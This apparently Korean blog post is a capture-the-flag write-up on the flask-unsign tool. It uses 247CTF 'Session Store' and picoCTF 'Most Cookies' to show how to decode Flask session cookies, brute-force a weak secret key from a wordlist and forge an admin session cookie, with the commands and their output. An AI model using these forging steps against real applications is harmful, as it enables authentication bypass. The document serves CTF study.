목차
개요
picoCTF를 풀다가 Flask 코드를 보고 Flag를 얻어낼 수 있는지를 묻는 문제를 보게되었다. 단순히 값을 입력하여 잘못된 로직을 공략하는 것이 아닌 Flask Session을 조작하여 Flag를 얻어내는 문제였다. 대충 무슨 방식으로 풀면되는지는 감이 잡혔지만 문제 풀이에 필요한 도구와 그 사용법을 몰랐기에 이 포스팅에서는 이에 관련한 내용을 간단히 정리해보려한다.
1. flask-unsign
"개요"에서 언급한 Flask-Session을 조작하는 도구는 "flask-unsign"이었다. 이 링크 에서 그 사용법을 알 수 있으며 문제를 통해 접근해보자.
2. 247CTF - Session Store
247CTF의 Session Store의 문제는 다음과 같은 Flask 코드를 힌트로 준다.
import os
from flask import Flask, request, session
from flag import flag
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
def secret_key_to_int(s):
try:
secret_key = int(s)
except ValueError:
secret_key = 0
return secret_key
@app.route("/flag")
def index():
secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
session['flag'] = flag
if secret_key == app.config['SECRET_KEY']:
return session['flag']
else:
return "Incorrect secret key!"
@app.route('/')
def source():
return "
%s
" % open(__file__).read()
if __name__ == "__main__":
app.run()
위 코드에서는 "/flag"라는 주소로 접근하면 Cookie에 다음과 같은 session 정보를 담고 있는 걸 볼 수있다.
뭔가 JWT처럼 보이는데 jwt.io에 해당 값을 입력하면 결과가 제대로 나오지 않는다.
엄밀히 말해 jwt.io는 제대로 나오지 않는다기보다는 base64로 한번 encode 된 값이 나온다. 따라서 base64로 디코딩 하면 flag를 얻을 수 있다.
flask-unsgin은 어떨까 ?
flask의 session 값을 base64 디코딩을 거칠 필요없이 결과를 확인할 수 있다.
3. picoCTF - Most Cookies
flask-unsign의 다른 활용법을 알 수 있는 문제는 picoCTF의 Most Cookies이다. 이 문제에서는 secret_key를 사용해 session을 만들어내는 방식이어서 문제에서 사용된 secret_key를 유추해내야하는 문제이다. 다음은 해당 문제의 일부 코드이다.
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
cookie_names 중 랜덤한 값을 선택하여 secret_key로 이용한다. flask-unsign에서는 wordlist를 이용해서 secret_key를 알아낼 수 있는 옵션이 존재한다. 이에 대한 사용법은 다음과 같다.
╰─$ flask-unsign --unsign -c ... --wordlist cookie_names.txt
[*] Session decodes to: {'very_auth': 'snickerdoodle'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'
secret_key를 알아낸 경우 다음과 같이 session을 생성해내는 옵션도 존재한다.
╰─$ flask-unsign --sign --cookie "{'very_auth':'admin'}" --secret peanut\ butter 2 ↵
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZhAQlw.DSfH9fnyr4iTW6-w6CabrsMvmB4